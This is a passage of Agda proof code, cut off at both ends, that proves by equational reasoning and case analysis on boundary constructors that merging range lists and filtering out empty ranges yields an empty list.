false) (merge2 ((Rg b BoundaryAboveAll) ∷ []) []) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) [] =⟨⟩ [] end merge2Empty2 ⦃ o ⦄ ⦃ dio ⦄ bounds@(b@(BoundaryBelowAll) ∷ []) ⦃ ne ⦄ = begin filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bounds) (ranges1 (tail bounds ⦃ ne ⦄))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b ∷ [])) (ranges1 [])) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b BoundaryAboveAll) ∷ []) []) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) [] =⟨⟩ [] end merge2Empty2 ⦃ o ⦄ ⦃ dio ⦄ bounds@(b1 ∷ b2@(BoundaryAboveAll) ∷ []) ⦃ ne ⦄ = begin filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bounds) (ranges1 (tail bounds ⦃ ne ⦄))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b1 ∷ b2 ∷ [])) (ranges1 (b2 ∷ []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b1 b2) ∷ (ranges1 [])) []) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) [] =⟨⟩ [] end merge2Empty2 ⦃ o ⦄ ⦃ dio ⦄ bounds@(b1 ∷ b2@(BoundaryAboveAll) ∷ bs@(b3 ∷ bss)) ⦃ ne ⦄ = begin filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bounds) (ranges1 (tail bounds ⦃ ne ⦄))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b1 ∷ b2 ∷ bs)) (ranges1 (b2 ∷ bs))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b1 b2) ∷ (ranges1 bs)) ((Rg b2 b3) ∷ (ranges1 bss))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b1 b2) (Rg b2 b3)) ∷ (if_then_else_ (b2 < b3) (merge2 (ranges1 bs) (ranges1 (b2 ∷ bs))) (merge2 (ranges1 bounds) (ranges1 bss)))) =⟨ cong (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false)) (cong ((rangeIntersection (Rg b1 b2) (Rg b2 b3)) ∷_) (propIf2 (b2 < b3) (orderedBoundaries3 ⦃ o ⦄ ⦃ dio ⦄ b2 b3))) ⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b1 b2) (Rg b2 b3)) ∷ (merge2 (ranges1 bs) (ranges1 (b2 ∷ bs)))) =⟨⟩ if_then_else_ (rangeIsEmpty (rangeIntersection (Rg b1 b2) (Rg b2 b3)) == false) ((rangeIntersection (Rg b1 b2) (Rg b2 b3)) ∷ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (b2 ∷ bs))))) (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (b2 ∷ bs)))) =⟨ propIf3' ⦃ o ⦄ {((rangeIntersection (Rg b1 b2) (Rg b2 b3)) ∷ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (b2 ∷ bs)))))} {(filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (b2 ∷ bs))))} (rangeIsEmpty (rangeIntersection (Rg b1 b2) (Rg b2 b3)) == false) (emptyIntersection2 ⦃ o ⦄ ⦃ dio ⦄ b1 b2 b3) ⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (b2 ∷ bs)))) =⟨ merge2Empty ⦃ o ⦄ ⦃ dio ⦄ (b2 ∷ bs) ⟩ -- induction here!!!! merge2Empty .. [] end merge2Empty2 ⦃ o ⦄ ⦃ dio ⦄ bounds@(b1 ∷ b2@(BoundaryBelowAll) ∷ []) ⦃ ne ⦄ = begin filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bounds) (ranges1 (tail bounds ⦃ ne ⦄))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b1 ∷ b2 ∷ [])) (ranges1 (b2 ∷ []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b1 b2) ∷ (ranges1 [])) ((Rg b2 BoundaryAboveAll) ∷ [])) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b1 b2) ∷ []) ((Rg b2 BoundaryAboveAll) ∷ [])) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b1 b2) (Rg b2 BoundaryAboveAll)) ∷ (if_then_else_ (b2 < BoundaryAboveAll) (merge2 [] ((Rg b2 BoundaryAboveAll) ∷ [])) (merge2 ((Rg b1 b2) ∷ []) []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b1 b2) (Rg b2 BoundaryAboveAll)) ∷ (if_then_else_ false (merge2 [] ((Rg b2 BoundaryAboveAll) ∷ [])) (merge2 ((Rg b1 b2) ∷ []) []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b1 b2) (Rg b2 BoundaryAboveAll)) ∷ (merge2 ((Rg b1 b2) ∷ []) [])) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b1 b2) (Rg b2 BoundaryAboveAll)) ∷ []) =⟨⟩ if_then_else_ (rangeIsEmpty (rangeIntersection (Rg b1 b2) (Rg b2 BoundaryAboveAll)) == false) ((rangeIntersection (Rg b1 b2) (Rg b2 BoundaryAboveAll)) ∷ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) [])) (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) []) =⟨ propIf3 ((rangeIsEmpty (rangeIntersection (Rg b1 b2) (Rg b2 BoundaryAboveAll)) == false)) (emptyIntersection2 ⦃ o ⦄ ⦃ dio ⦄ b1 b2 BoundaryAboveAll) ⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) []) =⟨⟩ [] end merge2Empty2 ⦃ o ⦄ ⦃ dio ⦄ bounds@(b1 ∷ b2@(BoundaryBelowAll) ∷ bs@(b3 ∷ bss)) ⦃ ne ⦄ = begin filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bounds) (ranges1 (tail bounds ⦃ ne ⦄))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b1 ∷ b2 ∷ bs)) (ranges1 (b2 ∷ bs))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b1 b2) ∷ (ranges1 bs)) ((Rg b2 b3) ∷ (ranges1 bss))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b1 b2) (Rg b2 b3)) ∷ (if_then_else_ (b2 < b3) (merge2 (ranges1 bs) (ranges1 (b2 ∷ bs))) (merge2 ((Rg b1 b2) ∷ (ranges1 bs)) (ranges1 bss) ))) =⟨ cong (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false)) (cong ((rangeIntersection (Rg b1 b2) (Rg b2 b3)) ∷_) (propIf2 (b2 < b3) (orderedBoundaries3 ⦃ o ⦄ ⦃ dio ⦄ b2 b3))) ⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b1 b2) (Rg b2 b3)) ∷ (merge2 (ranges1 bs) (ranges1 (b2 ∷ bs)))) =⟨⟩ if_then_else_ (rangeIsEmpty (rangeIntersection (Rg b1 b2) (Rg b2 b3)) == false) ((rangeIntersection (Rg b1 b2) (Rg b2 b3)) ∷ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (b2 ∷ bs))))) (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (b2 ∷ bs)))) =⟨ propIf3 (rangeIsEmpty (rangeIntersection (Rg b1 b2) (Rg b2 b3)) == false) (emptyIntersection2 ⦃ o ⦄ ⦃ dio ⦄ b1 b2 b3) ⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (b2 ∷ bs)))) =⟨ merge2Empty ⦃ o ⦄ ⦃ dio ⦄ (b2 ∷ bs) ⟩ -- induction here!!!! merge2Empty .. [] end merge2Empty2 ⦃ o ⦄ ⦃ dio ⦄ bounds@(b1 ∷ b2@(BoundaryAbove x) ∷ []) ⦃ ne ⦄ = begin filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bounds) (ranges1 (tail bounds ⦃ ne ⦄))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b1 ∷ b2 ∷ [])) (ranges1 (b2 ∷ []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b1 b2) ∷ (ranges1 [])) ((Rg b2 BoundaryAboveAll) ∷ [])) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b1 b2) ∷ []) ((Rg b2 BoundaryAboveAll) ∷ [])) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b1 b2) (Rg b2 BoundaryAboveAll)) ∷ (if_then_else_ (b2 < BoundaryAboveAll) (merge2 [] ((Rg b2 BoundaryAboveAll) ∷ [])) (merge2 ((Rg b1 b2) ∷ []) []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b1 b2) (Rg b2 BoundaryAboveAll)) ∷ (if_then_else_ true (merge2 [] ((Rg b2 BoundaryAboveAll) ∷ [])) (merge2 ((Rg b1 b2) ∷ []) []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b1 b2) (Rg b2 BoundaryAboveAll)) ∷ (merge2 [] ((Rg b2 BoundaryAboveAll) ∷ []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b1 b2) (Rg b2 BoundaryAboveAll)) ∷ []) =⟨⟩ if_then_else_ (rangeIsEmpty (rangeIntersection (Rg b1 b2) (Rg b2 BoundaryAboveAll)) == false) ((rangeIntersection (Rg b1 b2) (Rg b2 BoundaryAboveAll)) ∷ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) [])) (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) []) =⟨ propIf3 ((rangeIsEmpty (rangeIntersection (Rg b1 b2) (Rg b2 BoundaryAboveAll)) == false)) (emptyIntersection2 ⦃ o ⦄ ⦃ dio ⦄ b1 b2 BoundaryAboveAll) ⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) []) =⟨⟩ [] end merge2Empty2 ⦃ o ⦄ ⦃ dio ⦄ bounds@(b1 ∷ b2@(BoundaryAbove x) ∷ bs@(b3 ∷ bss)) ⦃ ne ⦄ = begin filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bounds) (ranges1 (tail bounds ⦃ ne ⦄))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b1 ∷ b2 ∷ bs)) (ranges1 (b2 ∷ bs))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b1 b2) ∷ (ranges1 bs)) ((Rg b2 b3) ∷ (ranges1 bss))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b1 b2) (Rg b2 b3)) ∷ (if_then_else_ (b2 < b3) (merge2 (ranges1 bs) (ranges1 (b2 ∷ bs))) (merge2 ((Rg b1 b2) ∷ (ranges1 bs)) (ranges1 bss)))) =⟨ cong (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false)) (cong ((rangeIntersection (Rg b1 b2) (Rg b2 b3)) ∷_) (propIf2 (b2 < b3) (orderedBoundaries3 ⦃ o ⦄ ⦃ dio ⦄ b2 b3))) ⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b1 b2) (Rg b2 b3)) ∷ (merge2 (ranges1 bs) (ranges1 (b2 ∷ bs)))) =⟨⟩ if_then_else_ (rangeIsEmpty (rangeIntersection (Rg b1 b2) (Rg b2 b3)) == false) ((rangeIntersection (Rg b1 b2) (Rg b2 b3)) ∷ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (b2 ∷ bs))))) (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (b2 ∷ bs)))) =⟨ propIf3 (rangeIsEmpty (rangeIntersection (Rg b1 b2) (Rg b2 b3)) == false) (emptyIntersection2 ⦃ o ⦄ ⦃ dio ⦄ b1 b2 b3) ⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (b2 ∷ bs)))) =⟨ merge2Empty ⦃ o ⦄ ⦃ dio ⦄ (b2 ∷ bs) ⟩ -- induction here!!!! merge2Empty .. [] end merge2Empty2 ⦃ o ⦄ ⦃ dio ⦄ bounds@(b1 ∷ b2@(BoundaryBelow x) ∷ []) ⦃ ne ⦄ = begin filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bounds) (ranges1 (tail bounds ⦃ ne ⦄))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b1 ∷ b2 ∷ [])) (ranges1 (b2 ∷ []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b1 b2) ∷ (ranges1 [])) ((Rg b2 BoundaryAboveAll) ∷ [])) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b1 b2) ∷ []) ((Rg b2 BoundaryAboveAll) ∷ [])) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b1 b2) (Rg b2 BoundaryAboveAll)) ∷ (if_then_else_ (b2 < BoundaryAboveAll) (merge2 [] ((Rg b2 BoundaryAboveAll) ∷ [])) (merge2 ((Rg b1 b2) ∷ []) []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b1 b2) (Rg b2 BoundaryAboveAll)) ∷ (if_then_else_ true (merge2 [] ((Rg b2 BoundaryAboveAll) ∷ [])) (merge2 ((Rg b1 b2) ∷ []) []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b1 b2) (Rg b2 BoundaryAboveAll)) ∷ (merge2 [] ((Rg b2 BoundaryAboveAll) ∷ []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b1 b2) (Rg b2 BoundaryAboveAll)) ∷ []) =⟨⟩ if_then_else_ (rangeIsEmpty (rangeIntersection (Rg b1 b2) (Rg b2 BoundaryAboveAll)) == false) ((rangeIntersection (Rg b1 b2) (Rg b2 BoundaryAboveAll)) ∷ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) [])) (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) []) =⟨ propIf3 ((rangeIsEmpty (rangeIntersection (Rg b1 b2) (Rg b2 BoundaryAboveAll)) == false)) (emptyIntersection2 ⦃ o ⦄ ⦃ dio ⦄ b1 b2 BoundaryAboveAll) ⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) []) =⟨⟩ [] end merge2Empty2 ⦃ o ⦄ ⦃ dio ⦄ bounds@(b1 ∷ b2@(BoundaryBelow x) ∷ bs@(b3 ∷ bss)) ⦃ ne ⦄ = begin filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bounds) (ranges1 (tail bounds ⦃ ne ⦄))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b1 ∷ b2 ∷ bs)) (ranges1 (b2 ∷ bs))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b1 b2) ∷ (ranges1 bs)) ((Rg b2 b3) ∷ (ranges1 bss))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b1 b2) (Rg b2 b3)) ∷ (if_then_else_ (b2 < b3) (merge2 (ranges1 bs) (ranges1 (b2 ∷ bs))) (merge2 ((Rg b1 b2) ∷ (ranges1 bs)) (ranges1 bss)))) =⟨ cong (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false)) (cong ((rangeIntersection (Rg b1 b2) (Rg b2 b3)) ∷_) (propIf2 (b2 < b3) (orderedBoundaries3 ⦃ o ⦄ ⦃ dio ⦄ b2 b3))) ⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b1 b2) (Rg b2 b3)) ∷ (merge2 (ranges1 bs) (ranges1 (b2 ∷ bs)))) =⟨⟩ if_then_else_ (rangeIsEmpty (rangeIntersection (Rg b1 b2) (Rg b2 b3)) == false) ((rangeIntersection (Rg b1 b2) (Rg b2 b3)) ∷ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (b2 ∷ bs))))) (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (b2 ∷ bs)))) =⟨ propIf3 (rangeIsEmpty (rangeIntersection (Rg b1 b2) (Rg b2 b3)) == false) (emptyIntersection2 ⦃ o ⦄ ⦃ dio ⦄ b1 b2 b3) ⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (b2 ∷ bs)))) =⟨ merge2Empty ⦃ o ⦄ ⦃ dio ⦄ (b2 ∷ bs) ⟩ -- induction here!!!! merge2Empty .. [] end merge2Empty ⦃ o ⦄ ⦃ dio ⦄ bounds@(b@(BoundaryBelowAll) ∷ []) ⦃ ne ⦄ = begin filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (tail bounds ⦃ ne ⦄)) (ranges1 bounds)) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 []) (ranges1 (b ∷ []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 [] (ranges1 (b ∷ []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) [] =⟨⟩ [] end merge2Empty ⦃ o ⦄ ⦃ dio ⦄ bounds@(b@(BoundaryBelow x) ∷ []) ⦃ ne ⦄ = begin filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (tail bounds ⦃ ne ⦄)) (ranges1 bounds)) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 []) (ranges1 (b ∷ []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 [] (ranges1 (b ∷ []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) [] =⟨⟩ [] end merge2Empty ⦃ o ⦄ ⦃ dio ⦄ bounds@(b@(BoundaryAbove x) ∷ []) ⦃ ne ⦄ = begin filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (tail bounds ⦃ ne ⦄)) (ranges1 bounds)) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 []) (ranges1 (b ∷ []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 [] (ranges1 (b ∷ []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) [] =⟨⟩ [] end merge2Empty ⦃ o ⦄ ⦃ dio ⦄ bounds@(b@(BoundaryAboveAll) ∷ []) ⦃ ne ⦄ = begin filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (tail bounds ⦃ ne ⦄)) (ranges1 bounds)) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 []) (ranges1 (b ∷ []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 [] (ranges1 (b ∷ []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) [] =⟨⟩ [] end merge2Empty ⦃ o ⦄ ⦃ dio ⦄ bounds@(b1 ∷ b2@(BoundaryAboveAll) ∷ []) ⦃ ne ⦄ = begin filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (tail bounds ⦃ ne ⦄)) (ranges1 bounds)) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b2 ∷ [])) (ranges1 (b1 ∷ b2 ∷ []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 [] ((Rg b1 b2) ∷ (ranges1 []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) [] =⟨⟩ [] end merge2Empty ⦃ o ⦄ ⦃ dio ⦄ bounds@(b1 ∷ b2@(BoundaryAboveAll) ∷ bs@(b3 ∷ bss)) ⦃ ne ⦄ = begin filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (tail bounds ⦃ ne ⦄)) (ranges1 bounds)) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b2 ∷ bs)) (ranges1 (b1 ∷ b2 ∷ bs))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b2 b3) ∷ (ranges1 bss)) ((Rg b1 b2) ∷ (ranges1 bs))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b2 b3) (Rg b1 b2)) ∷ (if_then_else_ (b3 < b2) (merge2 (ranges1 bss) ((Rg b1 b2) ∷ (ranges1 bs))) (merge2 (ranges1 (b2 ∷ bs)) (ranges1 bs)))) =⟨ cong (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false)) (cong ((rangeIntersection (Rg b2 b3) (Rg b1 b2)) ∷_) (propIf3 (b3 < b2) (orderedBoundaries2 ⦃ o ⦄ ⦃ dio ⦄ b2 b3))) ⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b2 b3) (Rg b1 b2)) ∷ (merge2 (ranges1 (b2 ∷ bs)) (ranges1 bs))) =⟨⟩ if_then_else_ (rangeIsEmpty (rangeIntersection (Rg b2 b3) (Rg b1 b2)) == false) ((rangeIntersection (Rg b2 b3) (Rg b1 b2)) ∷ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b2 ∷ bs)) (ranges1 bs)))) (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b2 ∷ bs)) (ranges1 bs))) =⟨ propIf3' ⦃ o ⦄ {((rangeIntersection (Rg b2 b3) (Rg b1 b2)) ∷ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b2 ∷ bs)) (ranges1 bs))))} {(filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b2 ∷ bs)) (ranges1 bs)))} (rangeIsEmpty (rangeIntersection (Rg b2 b3) (Rg b1 b2)) == false) (emptyIntersection ⦃ o ⦄ ⦃ dio ⦄ b1 b2 b3) ⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b2 ∷ bs)) (ranges1 bs))) =⟨ merge2Empty2 ⦃ o ⦄ ⦃ dio ⦄ (b2 ∷ bs) ⟩ -- induction here!!!! merge2Empty .. [] end merge2Empty ⦃ o ⦄ ⦃ dio ⦄ bounds@(b1 ∷ b2@(BoundaryBelowAll) ∷ []) ⦃ ne ⦄ = begin filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (tail bounds ⦃ ne ⦄)) (ranges1 bounds)) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b2 ∷ [])) (ranges1 (b1 ∷ b2 ∷ []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b2 BoundaryAboveAll) ∷ []) ((Rg b1 b2) ∷ (ranges1 []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b2 BoundaryAboveAll) ∷ []) ((Rg b1 b2) ∷ [])) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b2 BoundaryAboveAll) (Rg b1 b2)) ∷ (if_then_else_ (BoundaryAboveAll < b2) (merge2 [] ((Rg b1 b2) ∷ [])) (merge2 ((Rg b2 BoundaryAboveAll) ∷ []) []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b2 BoundaryAboveAll) (Rg b1 b2)) ∷ (if_then_else_ false (merge2 [] ((Rg b1 b2) ∷ [])) (merge2 ((Rg b2 BoundaryAboveAll) ∷ []) []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b2 BoundaryAboveAll) (Rg b1 b2)) ∷ (merge2 ((Rg b2 BoundaryAboveAll) ∷ []) [])) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b2 BoundaryAboveAll) (Rg b1 b2)) ∷ []) =⟨⟩ if_then_else_ (rangeIsEmpty (rangeIntersection (Rg b2 BoundaryAboveAll) (Rg b1 b2)) == false) ((rangeIntersection (Rg b2 BoundaryAboveAll) (Rg b1 b2)) ∷ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ 